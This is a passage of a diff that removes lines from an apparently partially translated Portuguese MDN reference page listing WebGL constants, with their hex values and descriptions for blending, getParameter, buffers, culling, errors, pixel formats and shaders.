- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to turn off a component.</td>
- </tr>
- <tr>
- <td><code>ONE</code></td>
- <td>1</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to turn on a component.</td>
- </tr>
- <tr>
- <td><code>SRC_COLOR</code></td>
- <td>0x0300</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to multiply a component by the source elements color.</td>
- </tr>
- <tr>
- <td><code>ONE_MINUS_SRC_COLOR</code></td>
- <td>0x0301</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to multiply a component by one minus the source elements color.</td>
- </tr>
- <tr>
- <td><code>SRC_ALPHA</code></td>
- <td>0x0302</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to multiply a component by the source's alpha.</td>
- </tr>
- <tr>
- <td><code>ONE_MINUS_SRC_ALPHA</code></td>
- <td>0x0303</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to multiply a component by one minus the source's alpha.</td>
- </tr>
- <tr>
- <td><code>DST_ALPHA</code></td>
- <td>0x0304</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to multiply a component by the destination's alpha.</td>
- </tr>
- <tr>
- <td><code>ONE_MINUS_DST_ALPHA</code></td>
- <td>0x0305</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to multiply a component by one minus the destination's alpha.</td>
- </tr>
- <tr>
- <td><code>DST_COLOR</code></td>
- <td>0x0306</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to multiply a component by the destination's color.</td>
- </tr>
- <tr>
- <td><code>ONE_MINUS_DST_COLOR</code></td>
- <td>0x0307</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to multiply a component by one minus the destination's color.</td>
- </tr>
- <tr>
- <td><code>SRC_ALPHA_SATURATE</code></td>
- <td>0x0308</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to multiply a component by the minimum of source's alpha or one minus the destination's alpha.</td>
- </tr>
- <tr>
- <td><code>CONSTANT_COLOR</code></td>
- <td>0x8001</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to specify a constant color blend function.</td>
- </tr>
- <tr>
- <td><code>ONE_MINUS_CONSTANT_COLOR</code></td>
- <td>0x8002</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to specify one minus a constant color blend function.</td>
- </tr>
- <tr>
- <td><code>CONSTANT_ALPHA</code></td>
- <td>0x8003</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to specify a constant alpha blend function.</td>
- </tr>
- <tr>
- <td><code>ONE_MINUS_CONSTANT_ALPHA</code></td>
- <td>0x8004</td>
- <td>Passed to <code>blendFunc</code> or <code>blendFuncSeparate</code> to specify one minus a constant alpha blend function.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Equações_de_mistura">Equações de mistura</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.blendEquation()")}} or {{domxref("WebGLRenderingContext.blendEquationSeparate()")}} to control how the blending is calculated (for both, RBG and alpha, or separately).</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Nome da constante</th>
- <th scope="col">Valor</th>
- <th scope="col">Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>FUNC_ADD</code></td>
- <td>0x8006</td>
- <td>Passed to <code>blendEquation</code> or <code>blendEquationSeparate</code> to set an addition blend function.</td>
- </tr>
- <tr>
- <td><code>FUNC_SUBSTRACT</code></td>
- <td>0x800A</td>
- <td>Passed to <code>blendEquation</code> or <code>blendEquationSeparate</code> to specify a subtraction blend function (source - destination).</td>
- </tr>
- <tr>
- <td><code>FUNC_REVERSE_SUBTRACT</code></td>
- <td>0x800B</td>
- <td>Passed to <code>blendEquation</code> or <code>blendEquationSeparate</code> to specify a reverse subtraction blend function (destination - source).</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Obter_informação_do_parâmetro_GL">Obter informação do parâmetro GL</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.getParameter()")}} to specify what information to return.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Nome da constante</th>
- <th scope="col">Valor</th>
- <th scope="col">Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>BLEND_EQUATION</code></td>
- <td>0x8009</td>
- <td>Passed to <code>getParameter</code> to get the current RGB blend function.</td>
- </tr>
- <tr>
- <td><code>BLEND_EQUATION_RGB</code></td>
- <td>0x8009</td>
- <td>Passed to <code>getParameter</code> to get the current RGB blend function. Same as BLEND_EQUATION</td>
- </tr>
- <tr>
- <td><code>BLEND_EQUATION_ALPHA</code></td>
- <td>0x883D</td>
- <td>Passed to <code>getParameter</code> to get the current alpha blend function. Same as BLEND_EQUATION</td>
- </tr>
- <tr>
- <td><code>BLEND_DST_RGB</code></td>
- <td>0x80C8</td>
- <td>Passed to <code>getParameter</code> to get the current destination RGB blend function.</td>
- </tr>
- <tr>
- <td><code>BLEND_SRC_RGB</code></td>
- <td>0x80C9</td>
- <td>Passed to <code>getParameter</code> to get the current destination RGB blend function.</td>
- </tr>
- <tr>
- <td><code>BLEND_DST_ALPHA</code></td>
- <td>0x80CA</td>
- <td>Passed to <code>getParameter</code> to get the current destination alpha blend function.</td>
- </tr>
- <tr>
- <td><code>BLEND_SRC_ALPHA</code></td>
- <td>0x80CB</td>
- <td>Passed to <code>getParameter</code> to get the current source alpha blend function.</td>
- </tr>
- <tr>
- <td><code>BLEND_COLOR</code></td>
- <td>0x8005</td>
- <td>Passed to <code>getParameter</code> to return a the current blend color.</td>
- </tr>
- <tr>
- <td><code>ARRAY_BUFFER_BINDING</code></td>
- <td>0x8894</td>
- <td>Passed to <code>getParameter</code> to get the array buffer binding.</td>
- </tr>
- <tr>
- <td><code>ELEMENT_ARRAY_BUFFER_BINDING</code></td>
- <td>0x8895</td>
- <td>Passed to <code>getParameter</code> to get the current element array buffer.</td>
- </tr>
- <tr>
- <td><code>LINE_WIDTH</code></td>
- <td>0x0B21</td>
- <td>Passed to <code>getParameter</code> to get the current <code>lineWidth</code> (set by the <code>lineWidth</code> method).</td>
- </tr>
- <tr>
- <td><code>ALIASED_POINT_SIZE_RANGE</code></td>
- <td>0x846D</td>
- <td>Passed to <code>getParameter</code> to get the current size of a point drawn with <code>gl.POINTS</code></td>
- </tr>
- <tr>
- <td><code>ALIASED_LINE_WIDTH_RANGE</code></td>
- <td>0x846E</td>
- <td>Passed to <code>getParameter</code> to get the range of available widths for a line. Returns a length-2 array with the lo value at 0, and hight at 1.</td>
- </tr>
- <tr>
- <td><code>CULL_FACE_MODE</code></td>
- <td>0x0B45</td>
- <td>Passed to <code>getParameter</code> to get the current value of <code>cullFace</code>. Should return <code>FRONT</code>, <code>BACK</code>, or <code>FRONT_AND_BACK</code></td>
- </tr>
- <tr>
- <td><code>FRONT_FACE</code></td>
- <td>0x0B46</td>
- <td>Passed to <code>getParameter</code> to determine the current value of <code>frontFace</code>. Should return <code>CW</code> or <code>CCW</code>.</td>
- </tr>
- <tr>
- <td><code>DEPTH_RANGE</code></td>
- <td>0x0B70</td>
- <td>Passed to <code>getParameter</code> to return a length-2 array of floats giving the current depth range.</td>
- </tr>
- <tr>
- <td><code>DEPTH_WRITEMASK</code></td>
- <td>0x0B72</td>
- <td>Passed to <code>getParameter</code> to determine if the depth write mask is enabled.</td>
- </tr>
- <tr>
- <td><code>DEPTH_CLEAR_VALUE</code></td>
- <td>0x0B73</td>
- <td>Passed to <code>getParameter</code> to determine the current depth clear value.</td>
- </tr>
- <tr>
- <td><code>DEPTH_FUNC</code></td>
- <td>0x0B74</td>
- <td>Passed to <code>getParameter</code> to get the current depth function. Returns <code>NEVER</code>, <code>ALWAYS</code>, <code>LESS</code>, <code>EQUAL</code>, <code>LEQUAL</code>, <code>GREATER</code>, <code>GEQUAL</code>, or <code>NOTEQUAL</code>.</td>
- </tr>
- <tr>
- <td><code>STENCIL_CLEAR_VALUE</code></td>
- <td>0x0B91</td>
- <td>Passed to <code>getParameter</code> to get the value the stencil will be cleared to.</td>
- </tr>
- <tr>
- <td><code>STENCIL_FUNC</code></td>
- <td>0x0B92</td>
- <td>Passed to <code>getParameter</code> to get the current stencil function. Returns <code>NEVER</code>, <code>ALWAYS</code>, <code>LESS</code>, <code>EQUAL</code>, <code>LEQUAL</code>, <code>GREATER</code>, <code>GEQUAL</code>, or <code>NOTEQUAL</code>.</td>
- </tr>
- <tr>
- <td><code>STENCIL_FAIL</code></td>
- <td>0x0B94</td>
- <td>Passed to <code>getParameter</code> to get the current stencil fail function. Should return <code>KEEP</code>, <code>REPLACE</code>, <code>INCR</code>, <code>DECR</code>, <code>INVERT</code>, <code>INCR_WRAP</code>, or <code>DECR_WRAP</code>.</td>
- </tr>
- <tr>
- <td><code>STENCIL_PASS_DEPTH_FAIL</code></td>
- <td>0x0B95</td>
- <td>Passed to <code>getParameter</code> to get the current stencil fail function should the depth buffer test fail. Should return <code>KEEP</code>, <code>REPLACE</code>, <code>INCR</code>, <code>DECR</code>, <code>INVERT</code>, <code>INCR_WRAP</code>, or <code>DECR_WRAP</code>.</td>
- </tr>
- <tr>
- <td><code>STENCIL_PASS_DEPTH_PASS</code></td>
- <td>0x0B96</td>
- <td>Passed to <code>getParameter</code> to get the current stencil fail function should the depth buffer test pass. Should return KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, or DECR_WRAP.</td>
- </tr>
- <tr>
- <td><code>STENCIL_REF</code></td>
- <td>0x0B97</td>
- <td>Passed to <code>getParameter</code> to get the reference value used for stencil tests.</td>
- </tr>
- <tr>
- <td><code>STENCIL_VALUE_MASK</code></td>
- <td>0x0B93</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_WRITEMASK</code></td>
- <td>0x0B98</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_BACK_FUNC</code></td>
- <td>0x8800</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_BACK_FAIL</code></td>
- <td>0x8801</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_BACK_PASS_DEPTH_FAIL</code></td>
- <td>0x8802</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_BACK_PASS_DEPTH_PASS</code></td>
- <td>0x8803</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_BACK_REF</code></td>
- <td>0x8CA3</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_BACK_VALUE_MASK</code></td>
- <td>0x8CA4</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_BACK_WRITEMASK</code></td>
- <td>0x8CA5</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>VIEWPORT</code></td>
- <td>0x0BA2</td>
- <td>Returns an {{jsxref("Int32Array")}} with four elements for the current viewport dimensions.</td>
- </tr>
- <tr>
- <td><code>SCISSOR_BOX</code></td>
- <td>0x0C10</td>
- <td>Returns an {{jsxref("Int32Array")}} with four elements for the current scissor box dimensions.</td>
- </tr>
- <tr>
- <td><code>COLOR_CLEAR_VALUE</code></td>
- <td>0x0C22</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_WRITEMASK</code></td>
- <td>0x0C23</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNPACK_ALIGNMENT</code></td>
- <td>0x0CF5</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>PACK_ALIGNMENT</code></td>
- <td>0x0D05</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_TEXTURE_SIZE</code></td>
- <td>0x0D33</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_VIEWPORT_DIMS</code></td>
- <td>0x0D3A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SUBPIXEL_BITS</code></td>
- <td>0x0D50</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RED_BITS</code></td>
- <td>0x0D52</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>GREEN_BITS</code></td>
- <td>0x0D53</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>BLUE_BITS</code></td>
- <td>0x0D54</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>ALPHA_BITS</code></td>
- <td>0x0D55</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DEPTH_BITS</code></td>
- <td>0x0D56</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_BITS</code></td>
- <td>0x0D57</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>POLYGON_OFFSET_UNITS</code></td>
- <td>0x2A00</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>POLYGON_OFFSET_FACTOR</code></td>
- <td>0x8038</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_BINDING_2D</code></td>
- <td>0x8069</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SAMPLE_BUFFERS</code></td>
- <td>0x80A8</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SAMPLES</code></td>
- <td>0x80A9</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SAMPLE_COVERAGE_VALUE</code></td>
- <td>0x80AA</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SAMPLE_COVERAGE_INVERT</code></td>
- <td>0x80AB</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COMPRESSED_TEXTURE_FORMATS</code></td>
- <td>0x86A3</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>VENDOR</code></td>
- <td>0x1F00</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERER</code></td>
- <td>0x1F01</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>VERSION</code></td>
- <td>0x1F02</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>IMPLEMENTATION_COLOR_READ_TYPE</code></td>
- <td>0x8B9A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>IMPLEMENTATION_COLOR_READ_FORMAT</code></td>
- <td>0x8B9B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>BROWSER_DEFAULT_WEBGL</code></td>
- <td>0x9244</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Buffers"><em>Buffers</em></h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.bufferData()")}}, {{domxref("WebGLRenderingContext.bufferSubData()")}}, {{domxref("WebGLRenderingContext.bindBuffer()")}}, or {{domxref("WebGLRenderingContext.getBufferParameter()")}}.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>STATIC_DRAW</code></td>
- <td>0x88E4</td>
- <td>Passed to <code>bufferData</code> as a hint about whether the contents of the buffer are likely to be used often and not change often.</td>
- </tr>
- <tr>
- <td><code>STREAM_DRAW</code></td>
- <td>0x88E0</td>
- <td>Passed to <code>bufferData</code> as a hint about whether the contents of the buffer are likely to not be used often.</td>
- </tr>
- <tr>
- <td><code>DYNAMIC_DRAW</code></td>
- <td>0x88E8</td>
- <td>Passed to <code>bufferData</code> as a hint about whether the contents of the buffer are likely to be used often and change often.</td>
- </tr>
- <tr>
- <td><code>ARRAY_BUFFER</code></td>
- <td>0x8892</td>
- <td>Passed to <code>bindBuffer</code> or <code>bufferData</code> to specify the type of buffer being used.</td>
- </tr>
- <tr>
- <td><code>ELEMENT_ARRAY_BUFFER</code></td>
- <td>0x8893</td>
- <td>Passed to <code>bindBuffer</code> or <code>bufferData</code> to specify the type of buffer being used.</td>
- </tr>
- <tr>
- <td><code>BUFFER_SIZE</code></td>
- <td>0x8764</td>
- <td>Passed to <code>getBufferParameter</code> to get a buffer's size.</td>
- </tr>
- <tr>
- <td><code>BUFFER_USAGE</code></td>
- <td>0x8765</td>
- <td>Passed to <code>getBufferParameter</code> to get the hint for the buffer passed in when it was created.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Atributos_de_Vertex">Atributos de <em>Vertex</em></h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.getVertexAttrib()")}}.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Nome da constante</th>
- <th scope="col">Valor</th>
- <th scope="col">Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>CURRENT_VERTEX_ATTRIB</code></td>
- <td>0x8626</td>
- <td>Passed to <code>getVertexAttrib</code> to read back the current vertex attribute.</td>
- </tr>
- <tr>
- <td><code>VERTEX_ATTRIB_ARRAY_ENABLED</code></td>
- <td>0x8622</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>VERTEX_ATTRIB_ARRAY_SIZE</code></td>
- <td>0x8623</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>VERTEX_ATTRIB_ARRAY_STRIDE</code></td>
- <td>0x8624</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>VERTEX_ATTRIB_ARRAY_TYPE</code></td>
- <td>0x8625</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>VERTEX_ATTRIB_ARRAY_NORMALIZED</code></td>
- <td>0x886A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>VERTEX_ATTRIB_ARRAY_POINTER</code></td>
- <td>0x8645</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>VERTEX_ATTRIB_ARRAY_BUFFER_BINDING</code></td>
- <td>0x889F</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Culling">Culling</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.cullFace()")}}.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>CULL_FACE</code></td>
- <td>0x0B44</td>
- <td>Passed to <code>enable</code>/<code>disable</code> to turn on/off culling. Can also be used with <code>getParameter</code> to find the current culling method.</td>
- </tr>
- <tr>
- <td><code>FRONT</code></td>
- <td>0x0404</td>
- <td>Passed to <code>cullFace</code> to specify that only front faces should be drawn.</td>
- </tr>
- <tr>
- <td><code>BACK</code></td>
- <td>0x0405</td>
- <td>Passed to <code>cullFace</code> to specify that only back faces should be drawn.</td>
- </tr>
- <tr>
- <td><code>FRONT_AND_BACK</code></td>
- <td>0x0408</td>
- <td>Passed to <code>cullFace</code> to specify that front and back faces should be drawn.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Enabling_and_disabling">Enabling and disabling</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.enable()")}} or {{domxref("WebGLRenderingContext.disable()")}}.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>BLEND</code></td>
- <td>0x0BE2</td>
- <td>Passed to <code>enable</code>/<code>disable</code> to turn on/off blending. Can also be used with <code>getParameter</code> to find the current blending method.</td>
- </tr>
- <tr>
- <td><code>DEPTH_TEST</code></td>
- <td>0x0B71</td>
- <td>Passed to <code>enable</code>/<code>disable</code> to turn on/off the depth test. Can also be used with <code>getParameter</code> to query the depth test.</td>
- </tr>
- <tr>
- <td><code>DITHER</code></td>
- <td>0x0BD0</td>
- <td>Passed to <code>enable</code>/<code>disable</code> to turn on/off dithering. Can also be used with <code>getParameter</code> to find the current dithering method.</td>
- </tr>
- <tr>
- <td><code>POLYGON_OFFSET_FILL</code></td>
- <td>0x8037</td>
- <td>Passed to <code>enable</code>/<code>disable</code> to turn on/off the polygon offset. Useful for rendering hidden-line images, decals, and or solids with highlighted edges. Can also be used with <code>getParameter</code> to query the scissor test.</td>
- </tr>
- <tr>
- <td><code>SAMPLE_ALPHA_TO_COVERAGE</code></td>
- <td>0x809E</td>
- <td>Passed to <code>enable</code>/<code>disable</code> to turn on/off the alpha to coverage. Used in multi-sampling alpha channels.</td>
- </tr>
- <tr>
- <td><code>SAMPLE_COVERAGE</code></td>
- <td>0x80A0</td>
- <td>Passed to <code>enable</code>/<code>disable</code> to turn on/off the sample coverage. Used in multi-sampling.</td>
- </tr>
- <tr>
- <td><code>SCISSOR_TEST</code></td>
- <td>0x0C11</td>
- <td>Passed to <code>enable</code>/<code>disable</code> to turn on/off the scissor test. Can also be used with <code>getParameter</code> to query the scissor test.</td>
- </tr>
- <tr>
- <td><code>STENCIL_TEST</code></td>
- <td>0x0B90</td>
- <td>Passed to <code>enable</code>/<code>disable</code> to turn on/off the stencil test. Can also be used with <code>getParameter</code> to query the stencil test.</td>
- </tr>
- <tr>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Errors">Errors</h3>
-
-<p>Constants returned from {{domxref("WebGLRenderingContext.getError()")}}.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>NO_ERROR</code></td>
- <td>0</td>
- <td>Returned from <code>getError</code>.</td>
- </tr>
- <tr>
- <td><code>INVALID_ENUM</code></td>
- <td>0x0500</td>
- <td>Returned from <code>getError</code>.</td>
- </tr>
- <tr>
- <td><code>INVALID_VALUE</code></td>
- <td>0x0501</td>
- <td>Returned from <code>getError</code>.</td>
- </tr>
- <tr>
- <td><code>INVALID_OPERATION</code></td>
- <td>0x0502</td>
- <td>Returned from <code>getError</code>.</td>
- </tr>
- <tr>
- <td><code>OUT_OF_MEMORY</code></td>
- <td>0x0505</td>
- <td>Returned from <code>getError</code>.</td>
- </tr>
- <tr>
- <td><code>CONTEXT_LOST_WEBGL</code></td>
- <td>0x9242</td>
- <td>Returned from <code>getError</code>.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Front_face_directions">Front face directions</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.frontFace()")}}.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>CW</code></td>
- <td>0x0900</td>
- <td>Passed to <code>frontFace</code> to specify the front face of a polygon is drawn in the clockwise direction</td>
- </tr>
- <tr>
- <td><code>CCW</code></td>
- <td>0x0901</td>
- <td>Passed to <code>frontFace</code> to specify the front face of a polygon is drawn in the counter clockwise direction</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Hints">Hints</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.hint()")}}</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>DONT_CARE</code></td>
- <td>0x1100</td>
- <td>There is no preference for this behavior.</td>
- </tr>
- <tr>
- <td><code>FASTEST</code></td>
- <td>0x1101</td>
- <td>The most efficient behavior should be used.</td>
- </tr>
- <tr>
- <td><code>NICEST</code></td>
- <td>0x1102</td>
- <td>The most correct or the highest quality option should be used.</td>
- </tr>
- <tr>
- <td><code>GENERATE_MIPMAP_HINT</code></td>
- <td>0x8192</td>
- <td>Hint for the quality of filtering when generating mipmap images with {{domxref("WebGLRenderingContext.generateMipmap()")}}.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Data_types">Data types</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>BYTE</code></td>
- <td>0x1400</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_BYTE</code></td>
- <td>0x1401</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SHORT</code></td>
- <td>0x1402</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_SHORT</code></td>
- <td>0x1403</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INT</code></td>
- <td>0x1404</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_INT</code></td>
- <td>0x1405</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT</code></td>
- <td>0x1406</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Pixel_formats">Pixel formats</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>DEPTH_COMPONENT</code></td>
- <td>0x1902</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>ALPHA</code></td>
- <td>0x1906</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB</code></td>
- <td>0x1907</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA</code></td>
- <td>0x1908</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>LUMINANCE</code></td>
- <td>0x1909</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>LUMINANCE_ALPHA</code></td>
- <td>0x190A</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Pixel_types">Pixel types</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>UNSIGNED_BYTE</code></td>
- <td>0x1401</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_SHORT_4_4_4_4</code></td>
- <td>0x8033</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_SHORT_5_5_5_1</code></td>
- <td>0x8034</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_SHORT_5_6_5</code></td>
- <td>0x8363</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Shaders">Shaders</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.createShader()")}} or {{domxref("WebGLRenderingContext.getShaderParameter()")}}</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>FRAGMENT_SHADER</code></td>
- <td>0x8B30</td>
- <td>Passed to <code>createShader</code> to define a fragment shader.</td>
- </tr>
- <tr>
- <td><code>VERTEX_SHADER</code></td>
- <td>0x8B31</td>
- <td>Passed to <code>createShader</code> to define a vertex shader</td>
- </tr>
- <tr>
- <td><code>COMPILE_STATUS</code></td>
- <td>0x8B81</td>
- <td>Passed to <code>getShaderParamter</code> to get the status of the compilation. Returns false if the shader was not compiled. You can then query <code>getShaderInfoLog</code> to find the exact error</td>
- </tr>
- <tr>
- <td><code>DELETE_STATUS</code></td>
- <td>0x8B80</td>
- <td>Passed to <code>getShaderParamter</code> to determine if a shader was deleted via <code>deleteShader</code>. Returns true if it was, false otherwise.</td>
- </tr>
- <tr>
- <td><code>LINK_STATUS</code></td>
- <td>0x8B82</td>
- <td>Passed to <code>getProgramParameter</code> after calling <code>linkProgram</code> to determine if a program was linked correctly. Returns false if there were errors. Use <code>getProgramInfoLog</code> to find the exact error.</td>
- </tr>
- <tr>
- <td><code>VALIDATE_STATUS</code></td>
- <td>0x8B83</td>
- <td>Passed to <code>getProgramParameter</code> after calling <code>validateProgram</code> to determine if it is valid. Returns false if errors were found.</td>
- </tr>
- <tr>
- <td><code>ATTACHED_SHADERS</code></td>
- <td>0x8B85</td>
- <td>Passed to <code>getProgramParameter</code> after calling <code>attachShader</code> to determine if the shader was attached correctly. Returns false if errors occurred.</td>
- </tr>
- <tr>
- <td><code>ACTIVE_ATTRIBUTES</code></td>
- <td>0x8B89</td>
- <td>Passed to <code>getProgramParameter</code> to get the number of attributes active in a program.</td>
- </tr>
- <tr>
- <td><code>ACTIVE_UNIFORMS</code></td>
- <td>0x8B86</td>
- <td>Passed to <code>getProgramParamter</code> to get the number of uniforms active in a program.</td>
- </tr>
- <tr>
- <td><code>MAX_VERTEX_ATTRIBS</code></td>
- <td>0x8869</td>
- <td>The maximum number of entries possible in the vertex attribute list.</td>
- </tr>
- <tr>
- <td><code>MAX_VERTEX_UNIFORM_VECTORS</code></td>
- <td>0x8DFB</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_VARYING_VECTORS</code></td>
- <td>0x8DFC</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_COMBINED_TEXTURE_IMAGE_UNITS</code></td>
- <td>0x8B4D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_VERTEX_TEXTURE_IMAGE_UNITS</code></td>
- <td>0x8B4C</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_TEXTURE_IMAGE_UNITS</code></td>
- <td>0x8872</td>
- <td>Implementation dependent number of maximum texture units. At least 8.</td>
- </tr>
- <tr>
- <td><code>MAX_FRAGMENT_UNIFORM_VECTORS</code></td>
- <td>0x8DFD</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SHADER_TYPE</code></td>
- <td>0x8B4F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SHADING_LANGUAGE_VERSION</code></td>
- <td>0x8B8C</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>CURRENT_PROGRAM</code></td>
- <td>0x8B8D</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
